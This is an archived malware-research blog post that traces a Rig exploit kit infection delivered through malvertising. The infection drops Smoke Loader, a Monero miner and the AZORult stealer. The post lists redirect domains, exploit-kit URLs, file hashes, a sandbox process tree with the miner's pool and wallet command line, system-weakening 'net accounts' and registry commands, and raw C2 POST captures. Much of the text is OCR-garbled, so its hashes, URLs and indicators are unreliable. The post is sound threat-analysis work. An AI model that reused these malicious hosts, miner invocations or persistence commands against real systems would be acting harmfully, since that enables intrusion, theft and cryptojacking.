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Rig EK via Malvertising drops a Smoke Loader leading to a Miner
and AZORult.

Published: 2017-10-13 - Archived: 2026-04-06 00:41:27 UTC

Summary:

Been an interesting few weeks and I haven’t been able to update but the other researchers appear to have found a

few interesting things. I thought I would blog if anyone wanted a pcap to look at.

I actually found this through my normal malvertising route. After pondering and assistance the payload was
determined to be Smoke Loader leading to a Miner and AZORult stealer. It’s an interesting sample! Thanks

to @James inthe box for looking into it deeper.

Background Information:

o A few articles on Rig exploit kit and it’s evolution:

https://www.uperesia.com/analyzing-rig-exploit-kit

http://malware.dontneedcoffee.com/2016/10/rig-evolves-neutrino-waves-goodbye.html

http://securityaffairs.co/wordpress/55354/cyber-crime/rig-exploit-kit-cerber.html

Downloads

(in password protected zip)

e 13-October-2017-Rig-Miner-PCAP-> Pcap of traffic

e 13-October-2017-Rig-Miner-CSV-> CSV of traffic for IOC’s

e 13-October-2017-Rig-Miner-> Smoke Loader —
60489385b91478d36e4d027e70d662a861f305cc5d4bdce20f312ac1c7¢2f126

Filename SHA-256 File Size
&9 Asus Gaming.exe 2919a13b964c8b006f144e3cBcch563740d3d242f4482 2 cBcdddc0db3B137cch 276,992
- bilonebilo20.exe 60489335b91478d36e4d027e70d662a861f305cc5ddbdce2 31 2ac] c7c2f126 238,080
D merserver.exe 87327370c23a327d162191 cBedbafiitalaldes0533dd3116ff49ch Ted 3f9e02 633,856

Details of infection chain:

(click to enlarge!)
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RIG EK DROPS SITIOKE LOADER - ITINER & AZORLLY

Location: http://188.225.77.8/Mzk@MjEGEMis=SwZkyo9cU19A8qivjUCBYRTOLpPU-
BaEZQIB_S5TAQrUS@VEkzLBBd841kxLR7WBVmektY14gpQlR2arI&Tat=xHrQMrOYbRIFFYPTKP7EUKZEMUTWABSKwY - ZhavVFSyxFDPGpbblFx_spVidCF-
EmvIvdLEHIWCh1UFARsnow=MzQyNzYy

Time Destination

te.php HTTP/1.1 (applicat

|¥| ROG Gaming Center C:\Users\User\AppData\Roaming\Asus Gaming. exe
Windows Security Server Unknown C:\Users\User\AppDatalRoaming'merserver.exe nilF/l.1 lew Lontinue

Filename SHA-256 File Size | |POST /forums/members/gate.php HTTP/1.1
Content-Type: application/x-ww-form-urlencoded
D Asus Gaming.exe 2919a13b964c8b006f144e3cBcc6563740d3d242f44822cBcdddc0db3B13Tech User-Agent: Mozilla/5.8 (X11; Ubuntu; Linux i686; rv:45.8) Gecko/20180101 Firefox/45.8
Bl bilonebilo20.exe £0489385b91478d36e4d027e70d662a861305cc5ddbdce20f312ac cTe2f126 238,080 ;‘“S:= :iisyi:;ﬁ’;;ﬂ-hid
. ontent-Len| H
D merserver.exe 8752757023327 162191 cBedBaf980a2a1deS0533dd5116f40cbTed3f0ell 633,856 | cypece: T E
- Connection: Keep-Alive

Xyz=08:00:27:27:30:E9 |Windows 7 x64|1.2HTTP/1.1 200 OK
Server: nginx

Date: Fri, 13 Oct 2817 14:17:29 GMT

Content-Type: text/html; charset=UTF-3
Content-Length: 11

Connection: keep-alive

X-Powered-By: PHP/5.6.31

.stop-all

- @] mcrserverexe %TEMP%\84A tmp.exe (PID- 932)
: W crservercxe KTENPRASAAIIP. cxe (0 2001 2 _
] ecmd.exe /C net accounts /forcelogoffno (PID: 2668) > @

1] MicrosoftViewer exe -o stratum-+tcp://xmr-eul nanopool.org- 14444 -u 4|UdGzvrMFDWrUUwY3to]ATSeNwjn54LkCniKBPRzDuhziSvSepHfUck]NxRL2gjkNrSqtCoRUIEDAgRws QW
ZbS46fdUWD3ty8j16LNa 188-138-33-220 -p x -k -t 1 (PID- 2536) 2+ [CYIIEY (T Hash Seen Before

Full Details:

This campaign was spotted a few days back (clicky) by @BroadAnalysis. I however found this through my usual
malvertising campaign. It was only after that I realised that the IP of the domain is the same as the previous post
that was reported. The payload however is different and much like the Rulan campaign it is likely the payloads

will change often so it’s worth keeping an eye on this.

The chain involves a series of 302 redirects:

Host Info

onclkds.com GET http://onclkds.com/afu.php?zoneid=1218868 HTTP/1.1

deloton.com GET http://deloton.com/?r=%2Fmb¥2Fhan&zoneid=12106808&pbk3=236913c6%bad1787692ca
¥xml.pdn-5.com GET http://xml.pdn-5.com/click?adv=144238781=PsbzQHfYkn8_8 HTTP/1.1

flashupd.racing  GET http://flashupd.racing/gwXDRp HTTP/1.1

The final redirect takes the client to Rig EK:
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GET /gwXDRp HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap,
ENE

Accept-Language: en-GB

User-Agent: Mozilla/4.@ (compatible; MSIE 8.@; Windows NT 6.1; WOW64; Trident/4.@; SLCC2; .NET CLR 2.0.5@727; .NET CLR
3.5.38729; .NET CLR 3.8.38729; Media Center PC 6.8; .NET4.8C; .NET4.8E)

Accept-Encoding: gzip, deflate

Host: flashupd.racing

Connection: Keep-Alive

Cookie:
682al=ey]BeXAi101IKVIQILCIhbGci0iITUZIINIIS. eyIkYXRhIjoielwic3RyZWFtc lwiOntc T VeI joxNTASOTABMDY xSxc ImNhbXBhaWduclwiOntc
IjNcIjoxNTAZOTABMDYxTSxc InRpbVe I joxNTAIOTABMDYXTSI9. 18uFFo_w(Ki4BqeNhRx1ftZcNS6gRnL10C]I7oIUGeBT

HTTP/1.1 382 Found

Server: nginx/1.12.1

Date: Fri, 13 Oct 2617 14:15:55 GMT

Content-Type: text/html; charset=utf-38

Content-Length: @

Connection: keep-alive

X-Powered-By: PHP/5.4.16

Expires: Thu, 21 Jul 1977 @7:3@8:86 GMT

Last-Modified: Fri, 13 Oct 2817 14:15:55 GMT

Cache-Control: max-age=0

Pragma: no-cache

Set-Cookie:

682al=ey]@eXA10iIKVIQILCIhbGciOiITUZTINIDS. eyIkYXRhI joielwic IRy ZWFtc lwiOnteI VeI joxNTAIOTABMDY xT Sxc ImNhbXBhaWduclwilntc
IjNcIjoxNTAZOTABMDYxTSxc InRpbWVe I joxNTAIOTABMTULTS]9 . wzeliSTwSyoMQLoe@d LYS4gakK9P3410dZxj1W3pXadg; expires=Mon, 13-
Mov-2@817 14:15:55 GMT; path=/; domain=.flashupd.racing

Location: http://188.225.77.8/MzkeMjE@&mMIs=SwZkyo2cU19ABqivjUCBYRTO1pPW-
BaEZQ9B_S5TAQruUsevekzLBBd341kxLR7WBVmektY14gpQlR2ar I&fat=xHrQMrDYbR3FFYPTKP7EUKZ EMUTWABSKWY -ZhavVFSyxFDPGpbblFx_spVidCF-
Emv IvdLEHIwWCh1Uf A&s now=MzQyNzYy

The payload was actually very interesting. I noticed a process injection which is Smoke Loader. I then saw the two
binaries one of which was a miner and the other is AZORult stealer. I did upload the sample to Hybrid Analysis

here are the results:

L 1 Input Sample (PID- 3636) &

La Input Sample (PID: 3452) - S—————— Y YT S
L "7 explorer.exe (PID: 640) & A | [F)Hash Seen Before Edit String
rm L84A.tmp.exe (PID: 3956) T
51 B4A tmp.exe (PID:3336) & e
L 1] mcrserver.exe %TEMPY\ 84A tmp.exe (PID: 932)
L 1] merserverexe %TEMPY:\84A tmp.exe (PID: 300) # Value data:
1 cmd.exe /C net accounts /forcelogoff:no (PID: 2668) =@ JE00000000)
1 MicrosoftViewer.exe -o stratum+tcp://xmr-eul nanopool o [ == J [ —
SvSepHfUck]NxRL2gjkNrSqtCoRUrEDAgRwsGWWCiZbS46fdU
[ Hash Seen Before — 5 ———— =

[ cmd.exe /C net accounts /maxpwage:unlimited (PID- 2684) it Infrared | ” | 28| DragWidth REG_SZ

8] cmd.exe /C powercfg /x /standby-timeout-ac O (PID: 2812) 2@
m]cmd.exe /C reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeQOut /t REG_SZ /d 600000000 /f
(PID: 2724) = ¢
@ 229Ftmp.exe (PID- 3088)
L @ 229F tmp.exe [PID: 3648)
L 19 Asus Gaming exe (PID: 2260)
L 1] Asus Gaming.exe (PID: 1276)
L @9 dw20.exe -x -5 584 (PID: 2716) & [[E] Hash Seen Before |

Now on my lab I did not see the mining C2 which connected to 213.32.29.150:14444.

However it did change the same registry key from the sandbox analysis. Below are two examples of POST

requests from the first binary believed to be Smoke Loader:
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POST /news/login.php HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.8 (compatible; MSIE 8.8; Windows NT 6.1; WOWe4; Trident/4.8; SLCC2; .NET CLR 2.8.58727; .NET
CLR 3.5.3@8729; .NET CLR 3.0.38729; Media Center PC 6.8; .NET4.8C; .NET4.8E)

Content-Length: 63

Host: supercupokrum.su

@..W.E5.....+.6.eM.....m...=.8.B..K@..;.F....Wk..<.. .....-..S?HTTP/1.1 484 Not Found
Server: nginx

Date: Fri, 13 Oct 2017 14:16:53 GMT

Content-Type: text/html; charset=windows-1251

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.6.31

e VLMWL LVLEY B

Hooodlboogfooooooo iboooooooooooooo Woooo

N"..C.4.]. .P.......@...C....C...Et~. ... UL1%......

oZlo s 0 0Eo oBaEhnocoomac Fooodfocafoooas M a0oo00 o oo ltocaoao Locoosoooo o oo ooilooPoibaonoato_osolaflbogaoallioolloadilicns
f-—-M..So.8f. . oonl._. .. 2 gl

..... Z. P DY GO T IS RPN | PSS AN - DS SO ION: 4 SRy DL | - JUPF - DU WPN | s DR (PR [ OO - SR (PR PO ¥ P

POST /forum/topic.php HTTP/1.8
Host: baragunskiy.ru
Connection: close
Content-Length: 94
Accept-Language: en-U5
Content-Type: image/jpeg

UR.QQ..r t.U..U..U.vC.5C.."..Tq.U

L1 e oy T e L 0
Jo.ueeCloCosCl L CLLCLLCL L CLLCL LS ULHTTP/1.1 2680 0K
Server: nginx

Date: Fri, 13 Oct 2017 14:16:55 GMT

Content-Type: application/octet-stream
Content-Length: 184

Connection: close

X-Powered-By: PHP/5.6.31

{d9uhgess5. .W?=/ah!ms)gu*w

F.:1{d9uh% xlarda

F.:1{d9uh¥®}~(a

F.:1{d9uh5yn6w
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FVX..5 QOIFO. ?=!ms#a|2}g9 . vra~<w
F..v?="sr\.:1fuck mazafaka

The second binary is “Asus Gaming” that produced the zbot like POST requests to C2. This is actually AZORult:

SHA-256 2919a13b964c8b006f144e3c8cc6563740d3d242f44822c8c44dc0db38137cch
File name Asus Gaming.exe
File size 270.5 KB
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HTTP/1.1 188 Continue

POST /forums/members/gate.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.@ (X11; Ubuntu; Linux i686; rv:45.8) Gecko/28180181 Firefox/45.@
Host: missyiurfound.bid

Content-Length: 39

Expect: 188-continue

Connection: Keep-Alive

Wyz=08:80:27:27:30:E9 |Windows 7 x64|1.2HTTP/1.1 288 OK
Server: nginx

Date: Fri, 13 Oct 2617 14:17:29 aGMT

Content-Type: text/html; charset=UTF-8

Content-Length: 11

Connection: keep-alive

X-Powered-By: PHP/5.6.31

.stop-all

POST /forums/members/gate.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.® (X11; Ubuntu; Linux 1i686; rv:45.0) Gecko/20100101 Firefox/
45.0

Host: missyiurfound.bid

Content-Length: 39

Expect: 188-continue

XYyZ=08:00:27:27:30:E9|Windows 7 x64|1.2HTTP/1.1 180 Continue

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 13 Oct 2017 15:58:41 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 44

Connection: keep-alive

X-Powered-By: PHP/5.6.31

.httpstrong https://vkmix.com/blog 99 1 60

There’s a lot going on here! Enjoy.

TERCOFPHAGE

Source: https://zerophagemalware.com/2017/10/13/rig-ek-via-malvertising-drops-a-miner/
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